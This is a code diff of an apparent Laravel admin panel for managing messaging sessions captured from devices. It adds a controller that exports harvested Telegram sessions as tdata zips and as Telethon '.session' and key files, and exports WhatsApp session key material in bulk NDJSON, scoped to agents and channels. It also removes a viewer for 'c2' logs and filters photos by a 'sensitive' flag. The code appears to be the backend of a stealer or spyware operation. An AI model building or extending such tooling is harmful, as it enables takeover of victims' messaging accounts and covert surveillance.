$agentUserId = (int) $request->query('agent_user_id', 0);
|
|
||||||
|
|
||||||
if ($channelId !== '') {
|
if ($channelId !== '') {
|
||||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
}
|
}
|
||||||
@@ -89,8 +93,15 @@ class PhotoController extends Controller
|
|||||||
if ((string) $request->query('sensitive', '') === '1') {
|
if ((string) $request->query('sensitive', '') === '1') {
|
||||||
$q->where('photos.x_hit', '>', 0);
|
$q->where('photos.x_hit', '>', 0);
|
||||||
}
|
}
|
||||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
[$guard, $actorId] = $this->viewerActor();
|
||||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
if ($guard !== null && $actorId !== null) {
|
||||||
|
PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read'));
|
||||||
|
}
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
return $q;
|
return $q;
|
||||||
|
|||||||
@@ -0,0 +1,563 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\PluginSession;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use App\Support\WsPayloadConverter;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
class PluginSessionController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function whatsapp()
|
||||||
|
{
|
||||||
|
return $this->page(PluginSession::KIND_WHATSAPP);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function telegram()
|
||||||
|
{
|
||||||
|
return $this->page(PluginSession::KIND_TELEGRAM);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function whatsappData(Request $request)
|
||||||
|
{
|
||||||
|
return $this->data($request, PluginSession::KIND_WHATSAPP);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function telegramData(Request $request)
|
||||||
|
{
|
||||||
|
return $this->data($request, PluginSession::KIND_TELEGRAM);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function payload(PluginSession $pluginSession)
|
||||||
|
{
|
||||||
|
$this->authorizeSession($pluginSession);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => [
|
||||||
|
'id' => $pluginSession->id,
|
||||||
|
'kind' => $pluginSession->kind,
|
||||||
|
'payload_json' => json_encode(
|
||||||
|
$pluginSession->displayPayload(),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||||
|
),
|
||||||
|
'download_url' => route($this->portal().'.sessions.download', $pluginSession, false),
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function download(PluginSession $pluginSession)
|
||||||
|
{
|
||||||
|
$this->authorizeSession($pluginSession);
|
||||||
|
|
||||||
|
$name = $pluginSession->downloadFilename();
|
||||||
|
$path = $pluginSession->payloadPath();
|
||||||
|
if ($path !== null && Storage::disk('local')->exists($path)) {
|
||||||
|
return Storage::disk('local')->download($path, $name);
|
||||||
|
}
|
||||||
|
|
||||||
|
$json = json_encode(
|
||||||
|
$pluginSession->fullPayload(),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||||
|
);
|
||||||
|
|
||||||
|
return response()->streamDownload(static function () use ($json) {
|
||||||
|
echo $json === false ? '{}' : $json;
|
||||||
|
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Download a Telegram Desktop tdata zip for this Telegram session.
|
||||||
|
*
|
||||||
|
* Converts the tglib.js payload (state + db_sqlite) into a tdata folder
|
||||||
|
* via opentele-ng (offline, no Telegram connection), then zips it.
|
||||||
|
* Only Telegram sessions (kind=1) with a valid backupData block are
|
||||||
|
* convertible; WhatsApp sessions return 422.
|
||||||
|
*/
|
||||||
|
public function downloadTdata(PluginSession $pluginSession)
|
||||||
|
{
|
||||||
|
$this->authorizeSession($pluginSession);
|
||||||
|
|
||||||
|
if (! auth('admin')->user()?->isSuper()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $pluginSession->isTelegram()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$payload = $pluginSession->fullPayload();
|
||||||
|
if (! is_array($payload) || ! isset($payload['state'])) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
|
||||||
|
$script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py'));
|
||||||
|
|
||||||
|
if (! $this->conversionFileExists($python) || ! $this->conversionFileExists($script)) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '转换环境未配置(缺少 Python 或脚本)',
|
||||||
|
], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
$tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid();
|
||||||
|
@mkdir($tmpDir, 0700, true);
|
||||||
|
$jsonPath = $tmpDir.'/input.json';
|
||||||
|
$zipPath = $tmpDir.'/tdata.zip';
|
||||||
|
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
|
||||||
|
|
||||||
|
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
|
||||||
|
.escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1';
|
||||||
|
$output = [];
|
||||||
|
$exit = -1;
|
||||||
|
@exec($cmd, $output, $exit);
|
||||||
|
|
||||||
|
if ($exit !== 0 || ! $this->conversionFileExists($zipPath)) {
|
||||||
|
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
|
||||||
|
@unlink($jsonPath);
|
||||||
|
if ($this->conversionFileExists($zipPath)) {
|
||||||
|
@unlink($zipPath);
|
||||||
|
}
|
||||||
|
@rmdir($tmpDir);
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => $msg], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||||
|
$filename = 'tdata-'.$account.'.zip';
|
||||||
|
$zipContents = file_get_contents($zipPath);
|
||||||
|
|
||||||
|
@unlink($jsonPath);
|
||||||
|
@unlink($zipPath);
|
||||||
|
@rmdir($tmpDir);
|
||||||
|
|
||||||
|
return response()->streamDownload(static function () use ($zipContents) {
|
||||||
|
echo $zipContents;
|
||||||
|
}, $filename, ['Content-Type' => 'application/zip']);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Download a Telethon session trio file (.session / .json / _密钥.txt).
|
||||||
|
*
|
||||||
|
* Converts the tglib.js payload (state + db_sqlite) into the three-file
|
||||||
|
* Telethon session format via tglib_to_session_files.py (offline).
|
||||||
|
* The `type` query param selects which file to stream back:
|
||||||
|
* - session: {phone}.session (SQLite, application/octet-stream)
|
||||||
|
* - json: {phone}.json (metadata + session_string)
|
||||||
|
* - key: {phone}_密钥.txt (session_string plain text)
|
||||||
|
* Only Telegram sessions (kind=1) with a valid backupData block are
|
||||||
|
* convertible; WhatsApp sessions return 422.
|
||||||
|
*/
|
||||||
|
public function downloadSessionFile(Request $request, PluginSession $pluginSession)
|
||||||
|
{
|
||||||
|
$this->authorizeSession($pluginSession);
|
||||||
|
|
||||||
|
if (! auth('admin')->user()?->isSuper()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $pluginSession->isTelegram()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$type = (string) $request->query('type', 'session');
|
||||||
|
if (! in_array($type, ['session', 'json', 'key'], true)) {
|
||||||
|
$type = 'session';
|
||||||
|
}
|
||||||
|
|
||||||
|
$payload = $pluginSession->fullPayload();
|
||||||
|
if (! is_array($payload) || ! isset($payload['state'])) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
|
||||||
|
$script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py'));
|
||||||
|
|
||||||
|
if (! $this->conversionFileExists($python) || ! $this->conversionFileExists($script)) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '转换环境未配置(缺少 Python 或脚本)',
|
||||||
|
], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
$tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid();
|
||||||
|
@mkdir($tmpDir, 0700, true);
|
||||||
|
$jsonPath = $tmpDir.'/input.json';
|
||||||
|
$outDir = $tmpDir.'/out';
|
||||||
|
@mkdir($outDir, 0700, true);
|
||||||
|
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
|
||||||
|
|
||||||
|
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
|
||||||
|
.escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1';
|
||||||
|
$output = [];
|
||||||
|
$exit = -1;
|
||||||
|
@exec($cmd, $output, $exit);
|
||||||
|
|
||||||
|
if ($exit !== 0) {
|
||||||
|
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
|
||||||
|
$this->rrmdir($tmpDir);
|
||||||
|
return response()->json(['code' => 1, 'msg' => $msg], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Locate the generated files (named {phone}.* in outDir).
|
||||||
|
$sessionFile = $jsonMeta = $keyFile = null;
|
||||||
|
foreach (glob($outDir.'/*') as $f) {
|
||||||
|
$base = basename($f);
|
||||||
|
if (str_ends_with($base, '.session')) {
|
||||||
|
$sessionFile = $f;
|
||||||
|
} elseif (str_ends_with($base, '.json')) {
|
||||||
|
$jsonMeta = $f;
|
||||||
|
} elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) {
|
||||||
|
$keyFile = $f;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||||
|
$file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile);
|
||||||
|
$ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session');
|
||||||
|
$filename = $account.'.'.$ext;
|
||||||
|
$mime = $type === 'json' ? 'application/json'
|
||||||
|
: ($type === 'key' ? 'text/plain' : 'application/octet-stream');
|
||||||
|
|
||||||
|
if (! $file || ! is_file($file)) {
|
||||||
|
$this->rrmdir($tmpDir);
|
||||||
|
return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
$contents = file_get_contents($file);
|
||||||
|
$this->rrmdir($tmpDir);
|
||||||
|
|
||||||
|
return response()->streamDownload(static function () use ($contents) {
|
||||||
|
echo $contents;
|
||||||
|
}, $filename, ['Content-Type' => $mime]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Download a single WhatsApp session's full protocol parameters as a
|
||||||
|
* one-line NDJSON .txt file (the __ws.txt 26-field format).
|
||||||
|
*
|
||||||
|
* Only WhatsApp sessions (kind=2) with a convertible payload are
|
||||||
|
* supported; Telegram sessions return 422.
|
||||||
|
*/
|
||||||
|
public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter)
|
||||||
|
{
|
||||||
|
$this->authorizeSession($pluginSession);
|
||||||
|
|
||||||
|
if (! $pluginSession->isWhatsApp()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$line = $converter->convertToLine($pluginSession, $pluginSession->device);
|
||||||
|
if ($line === null) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||||
|
$filename = 'ws-'.$account.'.txt';
|
||||||
|
|
||||||
|
return response()->streamDownload(static function () use ($line) {
|
||||||
|
echo $line."\n";
|
||||||
|
}, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* is_file() throws when open_basedir blocks a symlink target; never
|
||||||
|
* leak that as an HTML 500 to the sessions page.
|
||||||
|
*/
|
||||||
|
private function conversionFileExists(string $path): bool
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
return is_file($path);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Recursively remove a directory (best-effort).
|
||||||
|
*/
|
||||||
|
private function rrmdir(string $dir): void
|
||||||
|
{
|
||||||
|
if (! is_dir($dir)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$items = array_diff(scandir($dir) ?: [], ['.', '..']);
|
||||||
|
foreach ($items as $item) {
|
||||||
|
$path = $dir.'/'.$item;
|
||||||
|
if (is_dir($path)) {
|
||||||
|
$this->rrmdir($path);
|
||||||
|
} else {
|
||||||
|
@unlink($path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
@rmdir($dir);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Bulk export all sessions matching the current filter as a ZIP.
|
||||||
|
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
|
||||||
|
* so memory stays flat regardless of row count or payload size.
|
||||||
|
*/
|
||||||
|
public function export(Request $request)
|
||||||
|
{
|
||||||
|
$kind = (int) $request->query('kind', PluginSession::KIND_TELEGRAM) === PluginSession::KIND_WHATSAPP
|
||||||
|
? PluginSession::KIND_WHATSAPP
|
||||||
|
: PluginSession::KIND_TELEGRAM;
|
||||||
|
|
||||||
|
$q = $this->baseQuery($request, $kind);
|
||||||
|
$total = $q->count();
|
||||||
|
if ($total === 0) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '没有可导出的数据'], 422);
|
||||||
|
}
|
||||||
|
if ($total > 2000) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '数据量过大('.$total.' 条,上限 2000),请缩小筛选条件后再导出',
|
||||||
|
], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$label = $kind === PluginSession::KIND_WHATSAPP ? 'ws' : 'tg';
|
||||||
|
$zipName = $label.'-sessions-'.date('Ymd-His').'.zip';
|
||||||
|
|
||||||
|
return response()->streamDownload(function () use ($q, $label) {
|
||||||
|
$tmp = tempnam(sys_get_temp_dir(), 'coruna_export_');
|
||||||
|
if ($tmp === false) {
|
||||||
|
echo '{}';
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$zip = new \ZipArchive();
|
||||||
|
if (! $zip->open($tmp, \ZipArchive::CREATE | \ZipArchive::OVERWRITE)) {
|
||||||
|
@unlink($tmp);
|
||||||
|
echo '{}';
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$usedNames = [];
|
||||||
|
foreach ($q->cursor() as $row) {
|
||||||
|
/** @var PluginSession $row */
|
||||||
|
$base = $row->downloadFilename();
|
||||||
|
// Ensure unique filename inside the ZIP.
|
||||||
|
$name = $base;
|
||||||
|
$n = 2;
|
||||||
|
while (isset($usedNames[$name])) {
|
||||||
|
$name = pathinfo($base, PATHINFO_FILENAME).'-'.$n.'.json';
|
||||||
|
$n++;
|
||||||
|
}
|
||||||
|
$usedNames[$name] = true;
|
||||||
|
|
||||||
|
$path = $row->payloadPath();
|
||||||
|
if ($path !== null && Storage::disk('local')->exists($path)) {
|
||||||
|
// addFile streams from disk — payload never enters PHP memory.
|
||||||
|
$abs = Storage::disk('local')->path($path);
|
||||||
|
if (is_string($abs) && $abs !== '' && is_file($abs)) {
|
||||||
|
$zip->addFile($abs, $name);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback: encode the DB payload (always small — it's a summary).
|
||||||
|
$json = json_encode(
|
||||||
|
$row->fullPayload(),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||||
|
);
|
||||||
|
$zip->addFromString($name, $json === false ? '{}' : $json);
|
||||||
|
}
|
||||||
|
|
||||||
|
$zip->close();
|
||||||
|
|
||||||
|
// Stream the temp file in small chunks, then clean up.
|
||||||
|
$fp = fopen($tmp, 'rb');
|
||||||
|
if (is_resource($fp)) {
|
||||||
|
while (! feof($fp)) {
|
||||||
|
echo fread($fp, 65536);
|
||||||
|
}
|
||||||
|
fclose($fp);
|
||||||
|
}
|
||||||
|
@unlink($tmp);
|
||||||
|
}, $zipName, [
|
||||||
|
'Content-Type' => 'application/zip',
|
||||||
|
'X-Export-Count' => (string) $total,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Bulk export WhatsApp sessions as a single NDJSON .txt file
|
||||||
|
* (one JSON object per line, 26 fields — the chk.ts / __ws.txt format).
|
||||||
|
*
|
||||||
|
* Each wap.js payload is converted on the fly: protobuf signedPreKey
|
||||||
|
* decode, libsodium curve25519 public-key derivation, and cc/country/in
|
||||||
|
* inference from the bare phone number. Sessions lacking the minimum
|
||||||
|
* key material are skipped (counted in X-Export-Skipped).
|
||||||
|
*/
|
||||||
|
public function exportWs(Request $request, WsPayloadConverter $converter)
|
||||||
|
{
|
||||||
|
$q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP);
|
||||||
|
$total = $q->count();
|
||||||
|
if ($total === 0) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422);
|
||||||
|
}
|
||||||
|
if ($total > 1000) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出',
|
||||||
|
], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$fileName = 'ws-'.date('Ymd-His').'.txt';
|
||||||
|
|
||||||
|
return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) {
|
||||||
|
$written = 0;
|
||||||
|
$skipped = 0;
|
||||||
|
foreach ($q->cursor() as $row) {
|
||||||
|
/** @var PluginSession $row */
|
||||||
|
$line = $converter->convertToLine($row, $row->device);
|
||||||
|
if ($line === null) {
|
||||||
|
$skipped++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
echo $line."\n";
|
||||||
|
$written++;
|
||||||
|
}
|
||||||
|
}, $fileName, [
|
||||||
|
'Content-Type' => 'text/plain; charset=UTF-8',
|
||||||
|
'X-Export-Count' => (string) $total,
|
||||||
|
'X-Export-Written' => (string) ($written ?? 0),
|
||||||
|
'X-Export-Skipped' => (string) ($skipped ?? 0),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function page(string $kind)
|
||||||
|
{
|
||||||
|
$agents = $this->isAgentPortal()
|
||||||
|
? collect()
|
||||||
|
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||||
|
|
||||||
|
return view('admin.sessions.index', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
'agents' => $agents,
|
||||||
|
'kind' => $kind,
|
||||||
|
'title' => (int) $kind === PluginSession::KIND_WHATSAPP ? 'WS 参数' : 'TG 参数',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function data(Request $request, string $kind)
|
||||||
|
{
|
||||||
|
$q = $this->baseQuery($request, $kind);
|
||||||
|
|
||||||
|
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
|
||||||
|
$field = (string) $request->query('field', 'id');
|
||||||
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
|
if (! in_array($field, $sortable, true)) {
|
||||||
|
$field = 'id';
|
||||||
|
}
|
||||||
|
$q->orderBy('plugin_sessions.'.$field, $order);
|
||||||
|
|
||||||
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
|
$portal = $this->portal();
|
||||||
|
$isSuper = (bool) auth('admin')->user()?->isSuper();
|
||||||
|
$data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) {
|
||||||
|
/** @var PluginSession $row */
|
||||||
|
$summary = $row->listSummary();
|
||||||
|
|
||||||
|
return array_merge($summary, [
|
||||||
|
'id' => $row->id,
|
||||||
|
'kind' => $row->kind,
|
||||||
|
'device_key' => $row->device_key ?: '',
|
||||||
|
'channel_id' => $row->device_channel_id ?: '',
|
||||||
|
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||||
|
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||||
|
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||||
|
? route($portal.'.sessions.tdata', $row, false)
|
||||||
|
: '',
|
||||||
|
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||||
|
? route($portal.'.sessions.session-file', $row, false)
|
||||||
|
: '',
|
||||||
|
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
|
||||||
|
? route($portal.'.sessions.ws-full', $row, false)
|
||||||
|
: '',
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
|
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||||
|
]);
|
||||||
|
})->values();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'count' => $paginator->total(),
|
||||||
|
'data' => $data,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function baseQuery(Request $request, string $kind): Builder
|
||||||
|
{
|
||||||
|
$q = PluginSession::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'plugin_sessions.device_id')
|
||||||
|
->where('plugin_sessions.kind', $kind)
|
||||||
|
->select([
|
||||||
|
'plugin_sessions.*',
|
||||||
|
'devices.device_id as device_key',
|
||||||
|
'devices.channel_id as device_channel_id',
|
||||||
|
]);
|
||||||
|
|
||||||
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||||
|
|
||||||
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
|
$account = trim((string) $request->query('account_id', ''));
|
||||||
|
if ($channelId !== '') {
|
||||||
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
|
}
|
||||||
|
if ($deviceKey !== '') {
|
||||||
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
|
}
|
||||||
|
if ($account !== '') {
|
||||||
|
$q->where(function (Builder $inner) use ($account) {
|
||||||
|
$inner->where('plugin_sessions.account_id', 'like', '%'.$account.'%')
|
||||||
|
->orWhere('plugin_sessions.phone', 'like', '%'.$account.'%');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$createdFrom = trim((string) $request->query('created_from', ''));
|
||||||
|
$createdTo = trim((string) $request->query('created_to', ''));
|
||||||
|
if ($createdFrom !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $createdFrom)) {
|
||||||
|
$q->whereDate('plugin_sessions.created_at', '>=', substr($createdFrom, 0, 10));
|
||||||
|
}
|
||||||
|
if ($createdTo !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $createdTo)) {
|
||||||
|
$q->whereDate('plugin_sessions.created_at', '<=', substr($createdTo, 0, 10));
|
||||||
|
}
|
||||||
|
|
||||||
|
return $q;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function authorizeSession(PluginSession $session): void
|
||||||
|
{
|
||||||
|
$device = $session->device;
|
||||||
|
abort_unless($device !== null, 404);
|
||||||
|
if ($agent = $this->agent()) {
|
||||||
|
$ids = AgentScope::channelIdsFor($agent);
|
||||||
|
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,71 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
namespace App\Http\Controllers\Admin;
|
|
||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
|
||||||
use Illuminate\Http\Request;
|
|
||||||
use Illuminate\Support\Facades\File;
|
|
||||||
|
|
||||||
class RawLogController extends Controller
|
|
||||||
{
|
|
||||||
public function index(Request $request)
|
|
||||||
{
|
|
||||||
$dir = public_path('log/c2');
|
|
||||||
$files = [];
|
|
||||||
if (is_dir($dir)) {
|
|
||||||
foreach (File::files($dir) as $file) {
|
|
||||||
if ($file->getExtension() !== 'log') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$files[] = [
|
|
||||||
'name' => $file->getFilename(),
|
|
||||||
'size' => $file->getSize(),
|
|
||||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
|
||||||
];
|
|
||||||
}
|
|
||||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
|
||||||
}
|
|
||||||
|
|
||||||
$path = trim((string) $request->query('path', ''));
|
|
||||||
$device = trim((string) $request->query('device', ''));
|
|
||||||
|
|
||||||
return view('admin.logs.index', compact('files', 'path', 'device'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function show(Request $request, string $file)
|
|
||||||
{
|
|
||||||
$safe = basename($file);
|
|
||||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
|
||||||
abort(404);
|
|
||||||
}
|
|
||||||
$full = public_path('log/c2/'.$safe);
|
|
||||||
abort_unless(is_file($full), 404);
|
|
||||||
|
|
||||||
$path = trim((string) $request->query('path', ''));
|
|
||||||
$device = trim((string) $request->query('device', ''));
|
|
||||||
$raw = (string) file_get_contents($full);
|
|
||||||
$chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
|
|
||||||
$entries = [];
|
|
||||||
foreach ($chunks as $chunk) {
|
|
||||||
$chunk = trim($chunk);
|
|
||||||
if ($chunk === '') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
if ($path !== '' && ! str_contains($chunk, $path)) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
if ($device !== '' && ! str_contains($chunk, $device)) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$entries[] = $chunk;
|
|
||||||
}
|
|
||||||
$entries = array_reverse($entries);
|
|
||||||
|
|
||||||
return view('admin.logs.show', [
|
|
||||||
'file' => $safe,
|
|
||||||
'entries' => $entries,
|
|
||||||
'path' => $path,
|
|
||||||
'device' => $device,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\SystemLog;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
|
class SystemLogController extends Controller
|
||||||
|
{
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
return view('admin.system.logs', [
|
||||||
|
'actions' => SystemLog::actionLabels(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function data(Request $request)
|
||||||
|
{
|
||||||
|
$q = SystemLog::query();
|
||||||
|
|
||||||
|
$username = trim((string) $request->query('username', ''));
|
||||||
|
$action = trim((string) $request->query('action', ''));
|
||||||
|
$keyword = trim((string) $request->query('keyword', ''));
|
||||||
|
if ($username !== '') {
|
||||||
|
$q->where('actor_username', 'like', '%'.$username.'%');
|
||||||
|
}
|
||||||
|
if ($action !== '' && isset(SystemLog::actionLabels()[$action])) {
|
||||||
|
$q->where('action', $action);
|
||||||
|
}
|
||||||
|
if ($keyword !== '') {
|
||||||
|
$q->where('content', 'like', '%'.$keyword.'%');
|
||||||
|
}
|
||||||
|
|
||||||
|
$sortable = ['id', 'created_at'];
|
||||||
|
$field = (string) $request->query('field', 'id');
|
||||||
|
